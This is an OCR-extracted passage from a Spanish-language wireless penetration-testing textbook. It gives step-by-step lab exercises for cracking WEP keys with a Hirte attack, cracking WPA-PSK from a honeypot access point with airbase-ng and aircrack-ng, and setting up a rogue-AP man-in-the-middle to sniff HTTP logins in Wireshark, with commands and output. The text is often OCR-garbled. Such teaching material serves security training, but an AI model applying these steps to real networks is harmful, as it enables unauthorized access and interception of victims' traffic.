21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 (Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: “"Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Starting Hirte attack against 60:FB:42:D5:E4:01 at 100 pps.

<10l

5. Iniciamos aircrack—-ng como en el caso del ataque Caffe Latte y finalmente, la clave podria ser
hackeada como se muestra a continuacion:

root@bt: ~ - Shell - Konsole <3>

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.0 r1645

[00:25:36] Tested 1285089 keys (got 48988 IVs)

KB depth  byte(vote)

[¢] 0/ 1 AB(75520) 4D(56576) 90(56320) 3A(56064) 2B(55552) B7(55552) BA(55552) CB(55552)
1 0/ 1 (CD(72704) 6C(60160) 7A(59904) A0(57088) D6(56832) BC(56576) C5(56576) 1E(56320)
2 0/ 1 EF(69888) ED(58368) EE(57600) AF(57344) 9A(56832) 51(56320) A3(56320) C5(56320)
3 0/ 1 AB(64512) 47(60416) B9(60416) 5E(59392) Al(57856) 82(57600) E1(57088) E7(56576)
4 0/ 1 (CD(65024) 7D(59904) 43(58624) F9(58112) 03(57088) EE(56576) 41(56320) 28(55552)
5 1/ 5 51(58112) 6D(57856) 72(57344) CE(57088) 44(56320) 5C(55808) 9E(55552) 05(55040)
6 0/ 1 AB(67584) A4(58624) 6D(58112) FB(57856) 16(57344) A2(57088) 24(56832) 91(56832)
7 0/ 1 (D(65024) 8B(58112) 40(57856) D5(57856) 81(57344) D6(57344) DA(57088) B8E(55808)
8 0/ 1 EF(67072) F7(58880) 66(58624) A8(57856) 5D(57344) A0(57344) 11(57088) CC(56832)
9 1/ 2 AB(59904) 86(57856) 41(57344) 94(57344) 0A(56576) 08(56320) 25(56064) A9(56064)
10 1/ 1 2C(58112) EO(57600) FB(57344) 47(56576) 9D(56576) C4(56576) 17(55552) 21(55552)
11 1/ 1 A8(57856) 48(57600) 9F(57600) 34(56832) AF(56320) D7(56320) 8D(56064) 22(55808)
12 1/ 2 12(57308) CE(55844) A4(55076) 1B(54892) 68(54784) (0(54784) 66(54748) 4F(54564)

KEY FOUND! [ AB:CD:EF:AB:(CD:EF:AB:CD:EF:AB:CD:EF:12
Decrypted correctly: 100%

e




¢0ué ha pasado?

Hemos puesto en marcha el ataque Hirte contra un cliente WEP, que fue aislado y alejado de la red autorizada.
Hemos roto la clave exactamente como en el caso de un ataque Caffe Latte.

Le recomendamos establecer diferentes claves WEP en el cliente y tratar este ejercicio un par de veces para
ganar confianza. Usted puede notar que muchas veces hay que volver a conectar el cliente para conseguir que
funcione.

En un capitulo anterior, hemos visto como romper WPA/WPA2 PSK con aircrack-ng. Laidea basica era
capturar un saludo de cuatro vias WPA y luego lanzar un ataque de diccionario.

La pregunta del millén de dodlar es éseria posible romper WPA-Personal con sélo el cliente no habiendo punto de
acceso?

Vamos a revisar el ejercicio de cracking WPA para refrescar nuestra memoria.

Supplicant | I '
Q Authenticat
N 4 Probe Request-Response \ Ahenticator
-__l_— Authentication RR, Association RR
[Pre-shared Key 256 bit ‘ l Pre-Shared Key 256 bit ‘
Message L..owememmem"" T
P T
Snounce

Snounce + MIC

Message3...oooeeeer"" .
Key Installed | “Key Installat®
Message 4

Y& Tnstall Kknowiedgement | Xy Installed

Para romper WPA, necesitamos los siguientes cuatro parametros del Handshake de cuatro vias : autenticador
Nounce, Nounce suplicante, autenticador de MAC, MAC suplicante. Ahora lo interesante es que no necesitamos
los cuatro paquetes del apretdn de manos para extraer esta informacion. Podemos obtener esta informacién ya
sea con los cuatro paquetes, o solo con los paquetes 1y 2 o simplemente con los paquetes 2y 3.

Con el fin de romper WPA-PSK se abrird un Honeypot WPA-PSK y cuando el cliente se conecte a nosotros, sélo
Mensajel y Mensaje2 nos llegard. Como no sabemos la contrasefia, no podemos enviar mensaje3. Sin embargo,
Mensajel y Mensaje2 contienen toda la informacién necesaria para iniciar el proceso de cracking de la clave.



Supplicant g

Probe Request-Response

<
Authentication RR, Association RR
I Pre-Shared Key 256 bit l [ Pre-Share! 6 bit ]
Message Lo ---- e e
PR canmemmreR=Y ANounce

Snounce WPA/WPA2 PSK

Dictionary Attack
PTK Message 2

" Snounce + MIC "

1.

Vamos a configurar un Honeypot WPA-PSK con el ESSID Wireless Lab.La opcién -z 2 crea un
punto de acceso WPA-PSK que utiliza TKIP:

Edit View Bookmarks Settings Help
:~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -z 2 mon@®
23:51:09 Created tap interface ate
23:51:09 Trying to set MTU on at@ to 1500
23:51:09 Trying to set MTU on mon@ to 1800
23:51:10 Access Point with BSSID 00:21:91:D2:8E:25 started.
i

2. También vamos a iniciar airodump-ng para capturar los paquetes de esta red:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# airodump-ng -c 3 --bssid 00:21:91:02:8E:25 --write AP-less-WPA-cracking mond [|

3. Ahora, cuando nuestro cliente inaldmbrico se conecta a este punto de acceso, se inicia el apretén de
manos pero no se completa después del Mensaje 2 como se indicé anteriormente:

Edit View Bookmarks Settings Help
:~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -z 2 mon@®

23:56:01 Created tap interface at@

23:56:01 Trying to set MTU on ate to 1500

23:56:01 Access Point with BSSID 00:21:91:D2:8E:25 started.

23:56:30 Client 60 :42:D5:E4:01 associated (WPA1l;TKIP) to ESSID: "Wireless Lab"

23:56:30 Client 60 :D5:E4:01 associated (WPA1l;TKIP) to

23:56:30 Client 6 :D5:E4:01 associated (WPA1l;TKIP) to

23:56:30 Client 6 :D5:E4:01 associated (WPA1l;TKIP) to

23:56:30 Client 60 :D5:E4:01 associated (WPAL;TKIP) to

23:56:30 Client 60 :D5:E4:01 associated (WPAL;TKIP) to

23:56:30 Client 60: :D5:E4:01 associated (WPAL;TKIP) to

23:56:30 Client 60 :D5:E4:01 associated (WPAL;TKIP) to

23:56:30 Client 60 :D5:E4:01 associated (WPA1l;TKIP) to

23:56:30 Client 60 :D5:E4:01 associated (WPAL1l;TKIP) to

23:56:30 Client 60 :D5:E4:01 associated (WPA1l;TKIP) to ESSID: "Wireless Lab"

23:56:30 Client 60 :D5:E4:01 associated (WPA1l;TKIP) to Wireless Lab"

i3:56:30 Client 60 :D5:E4:01 associated (WPA1l;TKIP) to Wireless Lab"




4.,Sin embargo airodump-ng informa que el apretén de manos ha sido capturado:

root@bt: ~ - Shell No. 2 - Konsole

on Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 1 min ][ 2011-06-27 23:57 ][ WPA handshake: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 0 100 1254 34 0 3 54 WPA TKIP PSK Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -18 1-1 0 73

5. Corremos airodump-ng que captura el archivo a través de aircrack-ng con el archivo de
diccionario igual que antes, con el tiempo la frase de paso se rompe, como se muestra a continuacion:

root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.0 ri64s

[00:00:00] 176 keys tested (382.44 k/s)

KEY FOUND! [ Elfels[chge]lyl 1

Master Key : D6 C1 F1 ES BD F5 E8 1A A4 A2 B8 32 F4 08 99 BD
71 5B D6 F3 F1 1A CD 7E 9A B3 7E 36 48 06 8B 01

Transient Key : 1B E5 1B AF B9 CE 80 EB 5C 52 FA EF 1E 24 9D C4
39 2E 30 8C A5 A8 7B 90 4C 7A C4 6F BF 0D BE C6
4B DD 6B BB 28 02 38 6B 3A B4 D5 47 AF 92 F6 62
Cl 99 2C 02 98 52 5A F7 12 3A C7 65 8E DF 7E AS

EAPOL HMAC : FE 3D 3C ©F 8E 65 OF 2C CD 37 74 62 1A FB 1F 02
~# 11

¢Qué ha pasado?

Hemos sido capaces de romper la clave WPA sdlo con el cliente. Esto fue posible porque, incluso con sélo los dos
primeros paquetes, tenemos toda la informacién necesaria para lanzar un ataque de diccionario en el apretén de
manos (handshake).

Le recomendamos establecer diferentes claves WEP en el cliente y tratar este ejercicio un par de veces para
ganar confianza. Usted puede notar que muchas veces hay que volver a conectar el cliente para conseguir que
funcione.

1. ¢Qué clave de cifrado puede recuperarse mediante ataque Caffe Latte?
a. Ninguno
b. WEP

c. WPA



d. WPA2
2. Un punto de acceso Honeypot normalmente se utiliza:
a. Sin cifrado, autenticacion abierta
b. Sin cifrado, autenticacién compartida
c. Encriptacién WEP, Autenticacion abierta
d. Ninguna de las anteriores
3. ¢Cual de los siguientes son ataques DoS?
a. Ataque Mis-Association
b. Ataques de de-autenticacién
c. Ataques de desasociacion
d. Ambos (b) y (c)
4. Un ataque de Caffe Latte requiere
a. Que el cliente inaldmbrico este en el rango de radio del punto de acceso
b. Que el cliente es una clave WEP en caché almacenada
c. Encriptacion WEP con menos de 128 bit

d. Ambos (a) y (c)

En este capitulo hemos aprendido que incluso el cliente inaldambrico es susceptible a los ataques. Estos incluyen
los Honeypot y otras de ataques Mis-Association , ataques Caffe Latte para recuperar la clave del cliente
inalambrico, de de-autenticacion y ataques de desasociacion que causan una denegacién de servicio, el ataque
Hirte como una alternativa para recuperar la clave WEP de un cliente itinerante y el cracking por ultimo en la
frase de contrasefia WPA-Personal con sélo el cliente.

En el siguiente capitulo, vamos a utilizar todos nuestros conocimientos hasta la fecha para llevar a cabo varios
ataques inaldmbricos avanzados tanto en el lado del cliente y como en la infraestructura. Por lo tanto,
rapidamente vuelta la pagina para el siguiente capitulo



a2

A "Conocer a tu enemigo, que debe convertirse en su enemigo."

Sun Tzu, El Arte de la Guerra

Como analista de seguridad o pentester, es importante conocer los ataques avanzados que un
hacker podria hacer, incluso si usted no puede verificarlo o demostrarlo durante una prueba de
penetracion. Este capitulo estd dedicado a la forma en que un hacker podria realizar ataques
avanzados usando el acceso inaldmbrico como punto de partida.

En este capitulo, vamos a ver cémo podemos llevar a cabo ataques avanzados con lo que hemos aprendido hasta
ahora. Principalmente se centrara en el ataque Man-in-the-middle (MITM), lo que requiere una cierta cantidad
de habilidad y practica para llevar a cabo con éxito. Una vez hecho esto, vamos a usar este ataque MITM como
base para realizar ataques mas sofisticados tales como el espionaje y secuestros de sesidn.

Vamos a cubrir los siguientes puntos:

. Man-in-the-middle
. Espionaje inaldmbrico con MITM

. Secuestro de sesion con MITM

Los ataques MITM son probablemente uno de los ataques mas potentes en un sistema WLAN. Hay diferentes
configuraciones que se pueden utilizar para llevar a cabo el ataque. Vamos a utilizar uno de los mas comunes el
atacante se conecta a Internet a través de una LAN cableada y crea un punto de acceso falso para su tarjeta de
cliente. Este punto de acceso difunde un SSID similar a un punto de acceso local en las inmediaciones. Un usuario
puede conectarse accidentalmente a este punto de acceso falso (o puede ser obligado a utilizar la sefial de
mayor potencia que discutimos en los capitulos anteriores) y puede continuar y hacer creer que esta conectado al
punto de acceso legitimo.

El atacante puede reenviar el trafico de forma transparente a todos los usuarios a través de Internet utilizando el
puente que se ha creado entre las interfaces alambricas e inaldmbricas.

En el ejercicio siguiente vamos a simular el ataque.



Parte practica — Atague Man-in-the-Middie,

Siga estas instrucciones para comenzar:

1. Para crear la configuracion de ataque de Man-in-the-Middle, primero creamos un punto de acceso
llamado mitm en la computadora portatil hacker usando airbase-ng. Corremos el comando de 1a
airbase-ng --essid mint -c 11 monO:

root@bt: — - Shell -

on  Edit  View Bookmarks Settings Help

:~# airbase-ng --essid mitm -c 11 mon®
©7:52:16 Created tap interface ato
©7:52:16 Trying to set MTU on at@® to 1500
07:52:16 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

2. Es importante sefialar que airbase-ng cuando se ejecuta, crea una interfaz at0 (interfaz tap).
Piense en esto como un interfaz de cableado -del lado de nuestro software- basado en el punto de
acceso mitm.

root@bt: ~ - Shell No. 2 - Kons

n Edit View Bookmarks Settings Help

:~# ifconfig ate
ate Link encap:Ethernet HWaddr @0:c@:ca:3e:bd:93
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:® dropped:0 overruns:8 frame:0
TX packets:0 errors:0 dropped:® overruns:0 carrier:0
collisions:® txqueuelen:500
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

~#

~# 1

3. Vamos a crear un puente en la computadora hacker, que consiste en el cable (ethO0) y lainterfaz

inaldmbrica (at0). La sucesién de comandos que se utilizan para ello sonbrctl addbr mitm-
bridge,brctl addif mitm-bridge ethO,brctl addif mitm-bridge at0,ifconfig
eth0 0.0.0.0 up, ifconfig at0 0.0.0.0 up:

root@bt: ~ - Shell No. 2 - K

Edit View Bookmarks Settings Help

:~# ifconfig at@
atd Link encap:Ethernet HWaddr 60:c0:ca:3e:bhd:93
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:® frame:@
TX packets:® errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

bretl addbr mitm-bridge

~#

~#

~#

:~# brctl addif mitm-bridge eth®
~#

:~# brctl addif mitm-bridge at6

~#

~#
:~# ifconfig eth® 0.0.0.0 up
~#
:~# ifconfig at6 0.0.0.0 up
~#

-y |




4. Se puede asignar una direccion IP para este puente y comprobar la conectividad con la puerta de
enlace. Tenga en cuenta que podria hacer lo mismo usando DHCP. Podemos asignar una direccién IP a
la interfaz de puente con el comando ifconfig —-mitm-bridge 192.168.0.199 up. Luego podemos
intentar hacer ping a la puerta de enlace 192.168.0. 1 para asegurar que estamos conectados con
el resto de la red:

root@bt: ~ - Shell No. 2 - Konso

Session Edit View Bookmarks Settings Help

:~# ifconfig mitm-bridge 192.168.0.199 up

~#

~#

:~# ping 192.168.0.1
PING 192.168.0.1 (192.158 0.1) 56(84) bytes of data.
64 bytes from 192.168. : icmp_seq=1 tt1=64 time=0.557 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl1=64 time=1.11 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=64 time=0.915 ms
64 bytes from 192.168.0.1: icmp_seq=4 ttl=64 time=0.873 ms
64 bytes from 192.168.0.1: icmp_seq=5 tt1=64 time=0.539 ms

coooo
|-|-|-|-»-

--- 192.168.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4001ms
rtt min/avg/max/mdev = 0.539/0.800/1.119/6.224 ms

=~

2 1

5. Veamos ahora en el reenvio IP en el kernel para el enrutamiento de reenvio de paquetes y que
pueda suceder correctamente el uso echo > 1 / proc/sys/net/ipv4/ip_forward:

== root@k

Session Edit View Bookmarks Settings Help

:~# echo 1 > /proc/sys/net/ipva/ip_forward
4

—# B

6. Ahora vamos a conectar un cliente inaldmbrico para nuestro punto de acceso mi tm. Se recibira
automaticamente una direccion IP a través de DHCP (servidor que funciona en lado del cableado de la
puerta de acceso). La maquina del cliente, en este caso recibe la direcciéon IP 192.168.0.197.
Podemos hacer ping al lado del cable del gateway 192.168.0.1 para verificar la conectividad:

C:\lsersiv 1ﬁek\ﬂppData\Lucal\mgf32 »ipconfig

Windows IP Configuration

Wireless LAN adapter Wireless Network Connection:

Connection—specific DNS Suffix . :

Link-local IPub Address : fef@::6%3d:ifad?:1424:cP19211
IPv4 Address. . . . . . : 192.168.8.197

Subnet Mask . . . . . . : 255.255.255.0

Default Gateway . . . . 1 192.168.08.1

7. Vemos que la maquina responde a las solicitudes ping como hemos visto:

CosUzersswivekSNAppDatasLocalsmsf32>ping 122 _168.8.1

Pinging 1922 _ 168 _A_.1 with 32 bytes of data:

Reply from 122.168.8.1:- bytes=32 time=1ims TIL=64
Reply from 122 _168B_A._.1: hytes=32 time=bms TTL=64
Reply from 122.168.8.1:- bytes=32 time=18ms TT 17

Reply from 122 _168B_@A._.1: bytes=32 time=5ms TTL=64

Ping statistics for 192_168_@A_1:
Packets: Sent = 4, Received = 4, Lost = B8 <8
Approximate round trip times in milli—=seconds:
Minimum = Sms,. Maximum = 18ms. Average = 1B@mns




7.  También podemos verificar que el cliente estd conectado al mirar en airbase-ng en el
terminal de la maquina hacker

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid mitm -c 11 mon®
07:52:16 Created tap interface at@
07:52:16 Trying to set MTU on at® to 1500
07:52:16 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

08:03:14 Client 00:22:FB:35:FC:44 associated (unencrypted) to ESSID: "mitm"

9. Es interesante sefialar aqui que debido a que todo el trafico que se retransmite desde la
interfaz inaldmbrica para el lado del cable, tenemos un control completo sobre el trafico.
Podemos comprobar esto al iniciar y empezar a capturar con Wireshark en la interfaz at0:

@ at0 - Wireshark
Fle Edit View Go Capture Analyze Statisties Telephony Tools Help

HEHUY cux0= 100

e BI@EIN O

Fiter: | = | expression... clear Apply
No. | Time | source | Destination | Protaco | info
117 41.173542  192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
118 41.277900  feB80::603d:fad9: 1424:cff02::1:3 LLMNR  Standard query ANY wpad
115 41.284136  192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
120 41.575233  192.168.0.197 192.168.0.1 DNS Standard query A widgets.alexa.com
121 42.167219 192.168.0.197 192.168.0.1 DNS Standard query ANY wpad
122 43.166721  192,168.0.197 192.168.0.1 DNS standard query ANY wpad
123 46.166812 fe80::693d:fad9: 1424:¢ffo2::1:3 LLMNR  Standard query ANY wpad
124 46.167704  192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
125 46.272428 fe80::693d:fadg: 1424:¢ffo2::1:3 LLMNR  Standard query ANY wpad
126 46.272760 192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
127 47.166884  192.168.0.197 192.168.0.1 DNS standard query ANY wpad
128 49.160142 IntelCor_35:fc:44 Broadcast ARP who has 192.168.0.17 Tell 192.168.0.197
129 49.170017  D-Link_d2:8e:25 IntelCor_35:fc:44 ARP 192.168.0.1 is at 00:21:81:d2:8e:25
130 51.178160  feB0::693d: fads: 1424:(ff@2::1:3 LLMNR  Standard query ANY wpad

131 51.178823  192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad

b Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 hlts)
b Ethernet II, Src: Apple 44:99:4d (10:9a:dd:44:99:4d), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Address Resolution Protocel (request)

10. Vamos a hacer ping a la puerta de enlace 192.168.0.1 desde la maquina cliente. Ahora podemos
ver los paquetes en Wireshark (aplicando un filtro de presentacién de ICMP), a pesar de que los
paquetes no estan destinados a nosotros. Este es el poder del ataque Man-in-the-middle.

Ele Edt View Go Capture Analyze Statistics Telephony Jools Help

B o= 0o souiE *=~rE @03 O

fiar: [iemp [=] exprassion... Clear Apply
No. Time Protoco | Info c
1 0.000000 who has 192.168.0.17 Tell 192.168.0.197
20.000773 AP 192.168.0.1 is at 00:21:91:d2:8e
3 0.006021 10 &cho (ping) request (id=0x0001, seq(be/le)=83/21248, ttl=128)
4 0.006577 I Echo (ping) reply  (1d-0x0001, seq(be/le)=83/21248, ttl=64)
5 1.001865 1 10®  Echo (ping) request (1d=0x0001, seq(be/le)«84/21508, ttl=178)
61.002778 192.168.0.197 109 Echo (ping) reply  (id=0x0001, seq(bo/le)=8e/21508, trl=sd)
72.014760  192.168.0.197 192.168.0.1 10 Echo (ping) roquest (id=0x0001, seq(be/le)=85/21760, ttl=128)
82.015576  192.168.0.1 192.168.0.197 10 Echo (ping) reply  (id=0x0001, seq(be/le)=85/21760, ttl=s4)
93.003574  192.169.0.197 192.168.0.1 1w Echo (ping) request (id=0x0001. seq(be/ls)=85/22016, ttl=1z8) r
103.004503  192.168.0.1 192.168.0.197 1M Echo (ping) reply  (1d=0x0001, seq(be/le)=95/22016, ttl=64) <

|- Frame 4: 74 bytes on ytes ceptured (562 bits)

® Ethernet II, Sre: D-Link_¢ 0a:25), Dst: IntelCor_35:fc:44 (00:22:fb:35:fc:44)

b Internst Protocol, Src: 192,168.0.1 (192.166.0.1), Dst: 192.168.0.197 (192.166.0.197)

[+ Internet Control Message Protocol
Typo: © (Echo (ping) reply)
Code:
Chec 0x5508 [correct]
Identifier: 0x0001
Saquence number: 83
Saquence nusber (LE): 21248 (0x5300)

~ Data (32 bytes)

Data: g 7071, 475767761, ...
TLength: 32)

ackets: 18 Displayed: 18 Marked: 0 Dropped: 0 Profie: Default




Hemos configurado con éxito la instalacion de una red inaldmbrica Man-in-the-middle. Hicimos esto mediante la
creacion de un punto de acceso falso y un puente con nuestra interfaz Ethernet. Esto asegura que los clientes que
se conectan al punto de acceso falso "perciban" que se conectan a Internet a través de la LAN cableada.

En el ejercicio anterior, hicimos un puente de la interfaz inaldmbrica con una red cableada. Como hemos
sefialado anteriormente, esta es una de las arquitecturas de conexién posible para un MITM. Hay otras
combinaciones posibles también. Muy interesante seria contar con dos interfaces inaldmbricas creando un punto
de acceso falsoy que la otra interfaz se conecte al punto de acceso autorizado. Ambas interfaces son un puente.
Por lo tanto, cuando un cliente inaldmbrico se conecta a nuestro punto de acceso falso, se conecta al punto de
acceso autorizado a través de la maquina atacante.

Tenga en cuenta que esta configuracion requiere el uso de dos tarjetas de red inaldmbricas en la computadora
portatil atacante.

Comprueba si se puede realizar este ataque con la tarjeta incorporada en su computadora portatil junto con la
externa (USB). Esto debe ser un buen reto!

Espionaje inalambrico mediante MITM

En la practica anterior, hemos aprendido como crear una configuracidon para MITM. Ahora vamos a ver como
hacer espionaje inaldmbrico con esta configuracién. En el laboratorio todo gira en torno al principio de que todo
el trafico de la victima ahora se enruta a través de la computadora del atacante. Asi, el atacante puede
interceptar todo el trafico enviado que hay desde la maquina de la victima de forma inaldmbrica.

Siga estas instrucciones para comenzar:

1. Replicar la configuracién completa como en la practica anterior. Encender Wireshark. Seria
interesante hacer notar que incluso puente mitm aparece. Esta interfaz nos permitira indagar en el
trafico del puente, si queremos:

Description o

S| gptions
st | gptions.

1831 64 [sen @psions

1 1 e Qptions
nbridge 192168099 15 t (s gptions

Blany Pesudo-device that captures on all rterfaces 1576 67 |stan) gpons

i abmonl  USE bus umber 3 st options
Bk 127004 stat| options » Website
tiop sloss 5 '

User's Guide

@ Sample Captures

St

il O

@ Network Media

ke Grofia Dafauk
—




2. Iniciar sniffing en la interfaz at 0, de manera que podamos monitorear todo el trafico enviado y
recibido por el cliente inaldmbrico:

Capturing from at0 - Wireshark

Meou] Egiy

Fiter

No. Time

View Go Capture

SEY cdx0= %

Analyze

Tntelcor_35:1c:4a
D-Link_d2:8e:25
192.188.0.197
192.168.0.1

Statistics

Tools

Telephony
Qe so00 BE =B E® 3K

Apply

Help
| = ] expression
Destination

IntelCor_35:fc:4d

192.168.0.1
192.168.0,197

60.244968  feB0::129a:ddff:fead:ff02::7b oS
71.001344  192.168.0.197 192,168.0.1 109
81.002166 192.1698.0.1 192,168.0.197 108
92.00205  192.168.0.197 192.168.0.1 109
102.003421  192.160.0.1 162.160.0.107 1090
113.001146  192.168.0.197 192,168.0.1 109
123.002103  192.168.0.1 192.168.0.197 1000
14 8.421211 fo80::129a:ddf f: feaa:1ff02::1b NS

Clear

Protoco | Info

who han 192.168.0.17  Tell 192.168.0,197

192,168.0.1

18 at 00:

:d2:80125

o

Echo (ping) request (id=0x0001, seq(be/le)=115/29440, ttl=128)

Echo (ping)

Standard query response PTR, cache flush Vivek-Ramachandrans-MacBook-Pro.local Asas, cacl

Echo.
Echo
Echo
Echo
Echo
Echo

(ping)
(ping)
(ping)
(ping)
(ping)
(ping)

Standard quary PTR _afpovertcp._tep.local, *Qut question PTR _sub._tcp.local, *Qu" ques]

roply

(1d=0x0001,
{1d=0x0001,
{1d=0x0001,
{1d=0x0001,
{3d=0x0001,
{id=0x0001,

request
eply
request
reply
request
reply

seqibe/Le)=116/29696,
seq(be/le)=116/29698,
seq(be/le)=117/29952,
saqlbe/le) =117/20082,
seq(be/Le) =118/30208,
seq(be/le) =118/30208,

(id=0x0001, seq(be/le)=115/29440, ttl=s4)

ttl=128)
ttl=sa)
tl=128)
tel=ed)
ttle128)
trl=64)

® Frame 1: 60 bytes on wire (480 bits), 60 bytos

aptured (480 bits)

® Ethernet 1T
» Adds

ooz

CYAC YLV L e T e 1 arked:o

S Broadcast (ff:ff:ff:ff:ff:6f)

s Resolution Protocol (request)

41 11 £f tf 11 00 22
0 08 00 06 04 00 01 00 22
00 00 0O 00 00 00 €O a8
00 00 00 00 00 00 00 00

3
b 35
00 01
0 oo

44 08 06 00 01
fc 44 cO a8 00 ¢S
00 00 00 00 00 00
0 0o

5.0:407

.5.0...e

Profle: Default

3. En el cliente inaldmbrico, abra cualquier pagina web. En mi caso, el punto de acceso inaldmbrico
también estd conectado a la LAN y lo voy a abric con la direccion http://192.168.0.1.

4. Iniciar sesién con la contrasefia y entrar en la interfaz de gestion.

5. En Wireshark, debemos estar viendo un monton de actividades:

143 45.577055
144 a6,070074

147 a7.275782

162, 168.0.197
162, 169.0.107
102, 168.0. 197

192,168.0.197
182.168.0.1

192.108.0.1
192.129.0.1
192,1€6.0.1

192,168.0.1
192.168.0.197

162, 364.0.197 192,168,0.1
190 47, 300005 102, 168.0.197 192, 1e8.0.1
s Frame 1:

€0 bytes on vire (480 bits), 60 bytes coptured (480
ernet II, Src: IntelCor_35:fczad (00:22:fbi3s:
> Addeoss Mesolution Protocol (cequest)

84), Ost:

29465 » http
43473 > http
43472 > hitp

[40x] Saqes09 Ack=15267 Wins17083
[AX] Zaq=30] Ack=0O10 Winw=17530
[20X] Saaed08 Ack=10008 Win=l7467

49471 » hitp [ACK] Seqe39d Ack=2317) Win=17520
HITP/1.1 200 0% {application/x:javascript)
CHY /images/ing wirsless_bottom gif MITR/1.1
CAT /images/ing b smenthesd_red.gif MITE/L.)

Fxffaffiifafe)

Brosdcast (ff:

Len=0
Lars0
Len=0

Blo Ede View Go Cagture Anshze Statistics Telephoy Tools Help
SN 2ax0= “o00so0 EE +=~nBD EB3N O
riter = | Exprossion... Clenr Agply
No Teme Source Dastination Proteco | info -
129 45 655852  192.168.0.197 192.168.0.1 T 295459 » http [AX] Seqes0s Ack=15655 Win=17520 Len=0
130 86,657431  192,168.0.1 192,168,0.197 HITP  HTTP/1.1 200 K (text/css)
131 46.657647 102, 368.0.197 192,168,0.1 TP 40472 > hitp [AOK] Saqe08 Ack=1S97) Min=17530 Len=0
132 40.657960 102, 164.0.1 192, 164,0.107 MY MITE/L.1 200 Ok lapplication/x- javascript)
133 46, 741988 192.1€8.0.197 192.1€8.0.1 TP 49860 > http [40K] Seqes09 Ack=18835 Win=17520 Len=0
134 46.742823  192.168.0.197 192.168.0.1 T 42471 » http [AOX] Seqe394 Ack=15671 Win=17520 Len=0
135 40.743643  102.168.0.1 102, 168.0.197 TH (16O sagmnt of a resssentled S0u)
136 46.743508  192.1€8.0.1 162, 168,0. 197 e [TCP segmant of & ruassanbled POU)
197 46, 700628 192,168.0.107 192.168.0.1 TOP 49472 » http [MX] Seq=308 Ack=18881 Min=17820 Len=0
138 46,797663  192.168.0.197 152.168,0.1 T 45471 » http [AOK] Seq=394 Ack=17411 Win=16080
139 45,756436  192.168.0.1 192,168.0.197 [1CP segmnt of a resssentled Poul

Dafa




6. Establecer un filtro de HTTP para ver sélo el tréfico de la web:

Blo £dt Vew Go Capture Anabyze Statistie Telepheey Teols belp

SHAAN 2ax0o= “ ot BE =80 @& s O

Fiter: btp = | Expeossion. Clear Apply
o, Time Source Destination Protoco | info
64 45120455 192,169.0.197 192.168.0.1 WITP GGl /mdS.3% WITP/1.1
8 45347053 102.164.0.1 192.168,0.197 MITE  Continuation or non-HITP traffic
192.168.0.1 192.168.0.197 HITP  Continuation or non.HITP traffic

HITP  HITP/1.1 200 0% (epplication/x-javascript)
TR MITP/1.1 200 O (text/cus)

HITB  HTTP/1.1 200 & (application/x- javascript)
HITP  WTTP/1.1 200 0K (application/x- javascript)

192,168.0.1

192, 168.0.107 192.1€8.0.1 MITE  GET /lmages/img_masthesd_red.gif WITE/1,3

192.108.0.1 192.1¢4.0.197 WITP  WITP/1.1 200 O (GIFOGa)
192,168.0.1 192.168.0.197 HITP  WITP/1.1 200 O  (GIFESa)
192, 168.0.167 HITE  CET /post_legi hash=Gae el S 4740 SEESE 00 O ebauadbal 2ds HITO/L, L

321153140601 192.168.0.1 192.168.0.197 HITR/ XA HTTR/1.1 200 0%
314 53.223400  192.1€9.0.197 HITP  GGT /Rasic/Intarnat.shesl WTTR/1.1
226 53.319000  192,168.0.107 HITE  CET /navigation.js WITE/1.3
233 53.7568807  192,168.0.1 HITR  WITP/1.1 200 Ok (application/x-Javascript)
290 53.436314  192.168.0.197 HITP  GET /Tmages/short_s -ndn-_umns,mv TP/
244 53462 192,168.0.1 WITE  WTTP/1.1 200 O (GIFOGM.
245 53.458365  192.168.0.1 HITR  WITP/1.1 200 0% (n-(/hx-l)

> Frame 150: 507 bytes on wire (4056 bits), =7 bytes captured (4056 bits)

> Gthernet 11, Sre: Intelcor. :44), Ost: O-Link_d2:0e:35 (00:21:01:d2:0e:25)

» Internet Protecel, Sre: 152. Ton-0.167, (152, e 197), Dst: 192.168.0.1 (152.168.0.1)

